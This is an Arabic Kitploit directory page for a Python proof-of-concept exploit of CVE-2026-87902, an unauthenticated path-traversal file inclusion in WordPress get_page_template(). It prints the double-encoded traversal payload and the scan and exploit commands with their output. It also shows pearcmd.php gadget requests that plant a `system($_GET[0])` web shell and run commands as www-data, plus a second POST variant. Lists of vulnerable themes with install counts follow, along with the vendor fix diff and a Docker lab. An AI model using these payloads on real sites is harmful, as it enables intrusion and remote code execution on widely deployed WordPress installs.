Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-87902 — أداة PoC بلغة Python للثغرة CVE-2026-87902، وهي ثغرة RCE عبر اجتياز المسار في WordPress بدون مصادقة من خلال get_page_template()، مع تحديد الإصدار وفحص القوالب وتضمين الملفات الاختياري. | Kitploit
أدوات/GitHubGitHub/vulpecuna/cve-2026-87902
ماسحات الثغرات الأمنيةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقأداة الوصول عن بعدمختبرات وتدريب عملي
GitHubvulpecuna/cve-2026-87902

CVE-2026-87902

أداة PoC بلغة Python للثغرة CVE-2026-87902، وهي ثغرة RCE عبر اجتياز المسار في WordPress بدون مصادقة من خلال get_page_template()، مع تحديد الإصدار وفحص القوالب وتضمين الملفات الاختياري.

315منذ 21س 43دلم تتم المراجعة بعد
عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-87902

AdvisoryGHSA-7hp8-65ch-5whp
المنتجWordPress <= 7.1.1، تم إصلاحه في 7.1.2؛ تم اختبار كلا الإصدارين
Sinkwp-includes/template.php، get_page_template()
السببالمرشح المبني من pagename لا يمر عبر validate_file()
الفاعلمجهول، بدون حساب، بدون cookie، بدون رمز CSRF
الطريقةGET واحد، معاملان
التأثيرتضمين وتنفيذ ملف .php عشوائي على القرص داخل عملية WordPress
التصعيدتنفيذ أوامر عن بُعد حيث يكون gadget الخاص بـ PEAR قابلاً للاستغلال، انظر PHP والتصعيد
الكتابة إلى الهدفلا شيء مع --include الافتراضي
تم إعادة إنتاجه هنا6 إصدارات، 7 قوالب، 4 إصدارات PHP

الطلب

root@kitploit:~
GET /?page_id=<any published page>&pagename=<payload> HTTP/1.1

<payload> هو دليل page-، والاجتياز والهدف، مع ترميز مزدوج لكل نقطة وشرطة مائلة:

root@kitploit:~
templates%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fwp-admin%252finstall
الحقلالدور
pagenameالحمولة. يشغّلها WP_Query عبر sanitize_title_for_query()، التي تعيد كتابة النقطة الحرفية إلى شرطة لكنها تحافظ على الأوكتيتات المرمزة بالنسبة المئوية. ثم يستدعي get_page_template() الدالة urldecode() لفك ترميز النتيجة إلى مسار
page_idأي صفحة منشورة، بحيث تطابق الاستعلام مقالة بدلاً من إرجاع 404. بدونها لا يتم تحميل قالب الصفحة أبداً

يبني النواة page-{urldecode($pagename)}.php ويحلها مقابل دليل stylesheet. الترميز مطلوب: sanitize_title_for_query() تعيد كتابة .. الحرفية إلى -.

الشروط المسبقة

#الشرطالسبب
1القالب النشط يحتوي على دليل page-* في المستوى الأعلىالاسم هو page-{payload}.php، لذا يجب أن يُحل المقطع الأول منه على القرص
2صفحة منشورة واحدة ليست الصفحة الأمامية ولا صفحة المقالاتيتم تجربة is_front_page و is_home قبل is_page
3الملف الهدف ينتهي بـ .phpتضيف النواة الامتداد

لا محتوى مرفوع، ولا تغيير في إعدادات الموقع أو القالب أو النواة.

جميع القوالب الـ 26 المتأثرة تسمي الدليل page-templates. يأخذ poc.py الاسم من themes.json، ويفترض page-templates لقالب غير موجود فيه، ويتجاوز --root بقائمة مفصولة بفواصل.

مضيفو Windows يسقطون الشرط المسبق 1. يلغي Win32 .. معجمياً، لذا فإن مقطعاً غير موجود لا يزال يُلغى بواسطة .. التي تليه.

المسارالنتيجة
C:\...\wordpress\page-nothing\..\README.mdموجود
C:\...\wordpress\page-nothing\README.mdغير موجود

تم الاختبار باستخدام os.stat على Windows 11، الذي يستخدم نفس معالجة مسار Win32 مثل file_exists() في PHP. لم يتم تشغيل WordPress نفسه على Windows.

الاستخدام

الفحص، الافتراضي

يحدد القالب والإصدارين، ثم يسأل عما إذا كان دليل page-* موجوداً. لا يتم تضمين أو تنفيذ أي شيء.

root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
 1  GET  /                                            200  WordPress 7.1.1, theme neve
 2  GET  /wp-content/themes/neve/style.css            200  neve 4.2.11
 3  GET  /wp-content/themes/neve/page-templates/      403  refused, which on its own establishes nothing
 4  GET  /wp-content/themes/neve/page-e464e285/       404  the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result    neve ships page-templates, core 7.1.1
next      rerun with --exploit to make the target prove it
الإجابة على page-<root>/القراءة
200الدليل موجود ويسرد
404لا يوجد مثل هذا الدليل
403غير حاسم، لذا يتبع طلب تحكم واحد لـ page-<8 random hex>/
403 ثم تحكم 404كان الرفض متعلقاً بالوجود، الدليل موجود
403 ثم رفض التحكميرفض الخادم كل ما يُطلب منه، الخروج 4

المتأثر يتطلب كليهما: وجود الدليل، والإصدار عند 7.1.1 أو أقل.

الاستغلال

يشغّل الفحص أولاً، ثم يضمّن الملف ما لم يستبعد الفحص الهدف.

root@kitploit:~
python3 poc.py --target https://example.com --exploit
root@kitploit:~
 5  GET  /?rest_route=/wp/v2/pages                    200  1 published page
 6  GET  /?page_id=2&pagename=page-templates/../../   200  1368 bytes, not the theme's page  [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result    wp-admin/install.php ran: WordPress &rsaquo; Installation

قالب القالب المُصيَّر يشير دائماً إلى /wp-content/themes/ عبر wp_head()، بينما الملف المضمّن من خارج القالب لا يفعل ذلك. هذه هي قاعدة الحكم.

الخيارات

الخيارالافتراضيالتأثير
--target URLمطلوبالنشر قيد الاختبار
--exploitمعطّلتضمين ملف بعد الفحص
--include PATHwp-admin/install.phpملف .php المراد تضمينه. المسارات النسبية تُحل من جذر WordPress، والمسارات المطلقة تصعد مع --depth
--depth N7قفزات ../ لـ --include المطلق
--root NAME[,NAME]من themes.jsonأدلة page-* المراد تجربتها، بدون بادئة page-
--page-id IDمُكتشفتخطي اكتشاف الصفحة
--theme SLUGمُكتشفتخطي البحث عن القالب
--theme-version Vمُكتشفتخطي البحث عن إصدار القالب
--no-versionمعطّلعدم إجراء أي طلب غرضه الوحيد معرفة إصدار
--core-json PATHcore.jsonبصمات الإصدارات، تُقرأ فقط عندما لا يكشف شيء عن الإصدار
--traceمعطّلطباعة كل تبادل
--jsonمعطّلكائن JSON واحد، لا شيء غيره
--yesمعطّلتخطي التأكيد
الرمزالفحصالاستغلال
0متأثرتم تضمين ملف .php من خارج القالب
1غير متأثرلم يتم التضمين
2لا إجابة، أو الإجابة ليست WordPressنفسه
3استخدام، أو رفض عند التأكيدنفسه
4غير حاسم، انظر حالات 403 و 7.1.xغير مستخدم

--include الافتراضي هو wp-admin/install.php: في كل WordPress، المخرجات لا تُخطئ، ولا تغيّر شيئاً.

لا يتم التحقق من شهادات TLS. يتم قبول الشهادات المنتهية والموقعة ذاتياً وغير المتطابقة في اسم المضيف.

بصمة الإصدار

تُجرَّب بالترتيب، مع التوقف عند أول من يجيب.

المصدرالتكلفةعلى 7.1.1
وصف generator في الصفحة الرئيسيةمجانيالإصدار الدقيق
?ver= على أصل في /wp-includes/مجانيالإصدار الدقيق
/?feed=rss2طلب واحدالإصدار الدقيق
/wp-links-opml.phpطلب واحدالإصدار الدقيق
sha256 لأصل مُقدَّم مقابل core.jsonطلب واحدمجموعة الإصدارات التي تشحن تلك البايتات

يغطي core.json الإصدارات الـ 112 المنشورة و 7.1.2، بأربعة أصول لكل منها. تقاطعها يسمّي 9 إصدارات بدقة ويترك وسيطاً من 4 مرشحين. المتأثر يتطلب أن يكون كل مرشح عند 7.1.1 أو أقل.

لا يمكن التمييز بين 7.1.1 و 7.1.2 من الخارج. الملفات الثلاثة المختلفة هي wp-admin/about.php و wp-includes/template.php و wp-includes/version.php، ولا يُقدَّم أي منها. موقع 7.1.x يخفي إصداره يحصل على الخروج 4.

القوالب

أكثر 200 قالب تثبيتاً على wordpress.org. 26 منها تشحن دليل page-* وهي متأثرة، معاً 765,500 من 9,027,090 تثبيت نشط. الـ 174 الأخرى تفشل في الشرط المسبق 1.

القالبالإصدارالتثبيتاتpage-*الحالةمؤكد
neve4.2.11200,000page-templates🔴 متأثرlab
sydney2.7180,000page-templates🔴 متأثرlab
hestia3.3.670,000page-templates🔴 متأثرlab
inspiro2.2.360,000page-templates🔴 متأثرsurvey
colibri-wp1.0.16950,000page-templates🔴 متأثرsurvey
twentyfourteen4.650,000page-templates🔴 متأثرlab
twentytwelve4.950,000page-templates🔴 متأثرlab
colormag4.2.540,000page-templates🔴 متأثرlab
zakra4.3.330,000page-templates🔴 متأثرsurvey
spacious1.9.1220,000page-templates

lab تعني اختباراً من البداية إلى النهاية باستخدام poc.py مقابل صورة قياسية، و survey تعني قراءة الدليل من أرشيف القالب دون تشغيل القالب.

تم اختبارها وغير متأثرة، ولا يحتوي أي منها على دليل page-*: astra، kadence، twentysixteen، twentyseventeen، twentytwentythree، twentytwentyfive.

front-page.php، الذي تشحنه hestia و neve وغيرهما، لا يغيّر التأثر. إنه فقط يستبعد معرّف الصفحة الأمامية من الطلب.

الإصدارات

الإصدارقالب الصورة الافتراضيمع قالب متأثرمؤكد
7.1.2🟢 غير متأثر، twentytwentyfive🟢 غير متأثر، nevelab
7.1.1🟢 غير متأثر، twentytwentyfive🔴 متأثر، nevelab
7.1.0🟢 غير متأثر، twentytwentyfive🔴 متأثر، nevelab
7.0.4🟢 غير متأثر، twentytwentyfive🔴 متأثر، nevelab
6.8.3🟢 غير متأثر، twentytwentyfive🔴 متأثر، nevelab
6.1.0🟢 غير متأثر، twentytwentythree🔴 متأثر، twentytwelvelab
4.9.8🟢 غير متأثر، twentyseventeen🔴 متأثر، twentytwelvelab
الإصدارات الـ 105 الأخرىلم تُقسلم تُقسلم تُقس
إصدار القالبليس شرطاً مسبقاً، بل دليل page-* هو. تم استخدام neve 4.2.11 على 6.8.3 وما فوق، و twentytwelve 4.9 على النواتين الأقدم
7.1.2لا توجد صورة منشورة. تم الاختبار باستخدام lab/run.py --core 7.1.2، الذي يطبّق أرشيف الإصدار الرسمي فوق 7.1.1-apache
خارج الصندوقلا يوجد إصدار من 4.1 فصاعداً متأثر. twentyfifteen حتى twentytwentyfive لا تحتوي على دليل page-*. twentyfourteen و twentytwelve تحتويان عليه، وكانتا الافتراضيتين لـ 3.8 إلى 4.0 ولـ 3.5، التي لا توجد صورة منشورة لها
غير قابل للسحب15 من 112 وسم منشور: 14 أقدم من 4.5.3-apache تستخدم manifest v1 يرفضه containerd 2.1، و 4.5.3-apache لديه طبقة لا يستطيع السجل تقديمها

متغيرات PHP المنشورة لكل إصدار، التي تحدد التصعيد أدناه:

إصدارات WordPressمتغيرات PHP المنشورة كـ -apache
4.1.x إلى 4.5.xلا شيء، وسم عادي فقط، 5.6
4.6.x إلى 5.0.x5.6 7.0 7.1 7.2 7.3
5.1.x إلى 5.5.x7.1 7.2 7.3 7.4
5.6.x إلى 6.0.x7.2 7.3 7.4 8.0 8.1
6.1.x إلى 6.6.x7.4 8.0 8.1 8.2 8.3
6.7.x8.1 8.2 8.3 8.4
6.8.x و 6.9.x8.1 8.2 8.3 8.4 8.5
7.0.x و 7.1.x8.2 8.3 8.4 8.5

PHP والتصعيد

نجح تضمين الملف على الصور الأربع و pearcmd.php موجود في كل منها. تنفيذ الأوامر عبر gadget يتطلب تشغيل register_argc_argv، الذي توقفه صورة php8.5.

الصورةPHPregister_argc_argv
$_SERVER['argv']
RCE عبر pearcmd.phpمؤكد
7.1.1-php8.2-apache8.2.33مفعّل، مُعبّأ🔴 uid=33(www-data)lab
7.1.1-apache8.3.33مفعّل، مُعبّأ🔴 uid=33(www-data)lab
7.1.1-php8.4-apache8.4.25مفعّل، مُعبّأ🔴 uid=33(www-data)lab
7.1.1-php8.5-apache8.5.10معطّل، null🟢 لم يُصل إليهlab

يُقرأ عبر apache2handler، وليس CLI، الذي يفرض الإعداد. الطلبان وراء عمود RCE:

root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
   -> uid=33(www-data) gid=33(www-data) groups=33(www-data)

poc.py يضمّن ملفاً، ولا يقود الـ gadget. الوصول إليه عبر --include /usr/local/lib/php/pearcmd.php --depth 7. لم يُبحث عن gadget غير pearcmd.php على صورة 8.5.

الإصلاح

مقروء من wordpress-7.1.2.zip. تغييران.

root@kitploit:~
  // wp-includes/template.php, get_page_template()
  if ( $pagename ) {
      $pagename_decoded = urldecode( $pagename );
-     if ( $pagename_decoded !== $pagename ) {
+     if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) {
          $templates[] = "page-{$pagename_decoded}.php";
      }
      $templates[] = "page-{$pagename}.php";
  }
root@kitploit:~
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+     global $wp_stylesheet_path, $wp_template_path;
+
+     // A file path that exists and does not contain `..` is allowed.
+     if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+         return true;
+     }
+
+     $real_path = realpath( $path );
+     if ( false === $real_path ) {
+         return false;
+     }
+     $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+     $directories = array(
+         $wp_stylesheet_path,
+         $wp_template_path,
+         ABSPATH . WPINC . '/theme-compat',
+     );
+     // ... plus the parent directory of a theme that lives in a subdirectory
+
+     foreach ( $directories as $directory ) {
+         $real_directory = realpath( $directory );
+         if ( false === $real_directory ) {
+             continue;
+         }
+         if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+             return true;
+         }
+     }
+     return false;
+ }

الأول يصلح الفرع الثغرة، والثاني يفحص كل مسار قالب محلول أياً كان ما أنتجه. تم الاختبار: على 7.1.2 مع تفعيل neve ووجود page-templates، يعرض الطلب نفسه صفحة القالب الخاصة به، 55,084 بايت، بدلاً من المثبّت.

يوجد مسار ثانٍ على 7.1.1 وما قبله:

root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
كيف يختلفيحوّل WP_Query إلى فرع post_name، الذي لا يعيد كتابة pagename أبداً، لذا تعمل .. الحرفية
ما يحتاجهقالب بدون single.php، لأن is_single يُجرَّب قبل is_page
تم اختباره على7.1.1 مع bloghash
لماذا هو هناينجو من إصلاح يقوّي المُطهّر وحده. فحص الاحتواء أعلاه يغلقه أيضاً

المختبر

root@kitploit:~
python3 lab/run.py                       # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions    # rewrite lab/versions.txt from the registry
python3 lab/themes.py                    # rebuild themes.json
python3 lab/core.py --also 7.1.2         # rebuild core.json
root@kitploit:~
 1/9  7.1.1-apache  affected     0  included      twentytwelve      wp-admin/install.php ran
 2/9  7.1.1-apache  affected     0  included      hestia            wp-admin/install.php ran
 3/9  7.1.1-apache  affected     0  included      neve              wp-admin/install.php ran
 4/9  7.1.1-apache  affected     0  included      colormag          wp-admin/install.php ran
 5/9  7.1.1-apache  affected     0  included      sydney            wp-admin/install.php ran
 6/9  7.1.1-apache  unaffected   1  not included  twentytwentyfive  no page-* directory
 7/9  7.1.1-apache  affected     0  included      bloghash          wp-admin/install.php ran
 8/9  7.1.1-apache  unaffected   1  not included  kadence           no page-* directory
 9/9  7.1.1-apache  unaffected   1  not included  astra             no page-* directory
لكل صف
الصورةwordpress:<tag> الرسمية، غير معدّلة
العزلحاوية خاصة، منفذ خاص، قاعدة بيانات خاصة في MariaDB المشتركة
التثبيتعبر HTTP من خلال wp-admin/install.php، لذا لا يحتاج أي إصدار إلى wp-cli مطابق
الحالةكما يتركها المثبّت، صفحة منشورة واحدة، لا شيء مرفوع
يُدار بـpoc.py --exploit، لذا يقيس الصف التضمين وليس المظهر
الخيارالافتراضيالتأثير
--jobs N2صفوف بالتوازي
--theme SLUG[@VERSION]لا شيءالتثبيت والتفعيل على كل صف
--core VERSIONلا شيءتطبيق ذلك الإصدار الرسمي فوق نواة الصورة، وهكذا يُشغَّل إصدار بلا صورة
--keepمعطّلترك النسخ قائمة، تُطبع كلمة مرور المسؤول في النهاية
--pruneمعطّلحذف الصور التي سحبها هذا التشغيل
--port-base N8110المنفذ الأول، واحد لكل صف، 127.0.0.1 فقط
--db-imagemariadb:10.6صورة قاعدة البيانات
--timeout N180ثوانٍ تُمنح للحاوية للإجابة
--out PATHlab/results.jsonتفاصيل كل صف

رموز الخروج: 0 كل صف قيس، 1 صف واحد على الأقل لم يُقس، 2 Docker غائب أو لا شيء للتشغيل، 3 استخدام أو رفض. صورة WordPress بحجم 600 ميغابايت إلى 1.1 غيغابايت، لذا --all بدون --prune يعني عشرات الغيغابايت.

يشغّل .github/workflows/lab.yml أربعة صفوف عند كل تغيير على PoC أو المختبر، وأسبوعياً: قالب متأثر على 7.1.1 وعلى 6.8.3، وقالب الصورة الافتراضي، ومتغير php8.5. كل منها يؤكد رمز الخروج المتوقع.

المراجع

AdvisoryGHSA-7hp8-65ch-5whp
Write-uphttps://ressl.ch/blog/cve-2026-87902-wordpress/
PoC آخرhttps://github.com/ressl/cve-2026-87902-poc

فكرتان مأخوذتان من ذلك PoC، كلتاهما اختُبرت هنا أولاً:

الفكرةمحتفظ بهاتم الاختبار
/index.php?rest_route= و /wp-json/ كمسارات احتياطية لقائمة الصفحاتنعمينجح الاكتشاف عبر أحد الثلاثة
تفضيل صفحة بلا قالب صفحة خاص بها، لأن get_page_template() يجرّب ذلك القالب أولاًنعم، كترتيبفرض صفحة تحمل واحداً لا يزال يُعيد الإنتاج على 7.1.1، لذا يكلف طلباً في أسوأ الأحوال

الملفات

root@kitploit:~
poc.py              the PoC, standalone, stdlib only
themes.json         per-theme facts poc.py reads (generated)
core.json           asset fingerprints per release (generated)
lab/run.py          the lab
lab/themes.py       rebuilds themes.json from the survey and the archive cache
lab/core.py         rebuilds core.json from the official release archives
lab/survey.json     200 most-installed themes, their version and page-* directories
lab/targets.txt     the pool lab/run.py stands up by default
lab/versions.txt    112 published releases (generated from the registry)
lab/results.json    last run (ignored)
lab/.cache/         theme and release archives (ignored)
attic/              previous attempt, unwired, ignored

المتطلبات: Docker، Python 3.8+، لا حزم طرف ثالث.

تنزيل الأداة
🔴 متأثر
survey
hueman3.7.2720,000page-templates🔴 متأثرsurvey
bloghash1.0.3010,000page-templates🔴 متأثرlab
botiga2.4.910,000page-templates🔴 متأثرsurvey
tutorstarter4.0.310,000page-templates🔴 متأثرsurvey
mesmerize1.6.18710,000page-templates🔴 متأثرsurvey
flash1.4.1210,000page-templates🔴 متأثرsurvey
shapely1.3.610,000page-templates🔴 متأثرsurvey
silverstorm1.0.368,000page-templates🔴 متأثرsurvey
prespa1.7.88,000page-templates🔴 متأثرsurvey
hybridmag1.1.46,000page-templates🔴 متأثرsurvey
chromenews6.2.105,000page-templates🔴 متأثرsurvey
morenews4.3.105,000page-templates🔴 متأثرsurvey
newsexo9.12,000page-templates🔴 متأثرsurvey
reviewnews2.0.51,000page-templates🔴 متأثرsurvey
the8-shop-dark1.0.5400page-templates🔴 متأثرsurvey
newsonline0.6100page-templates🔴 متأثرsurvey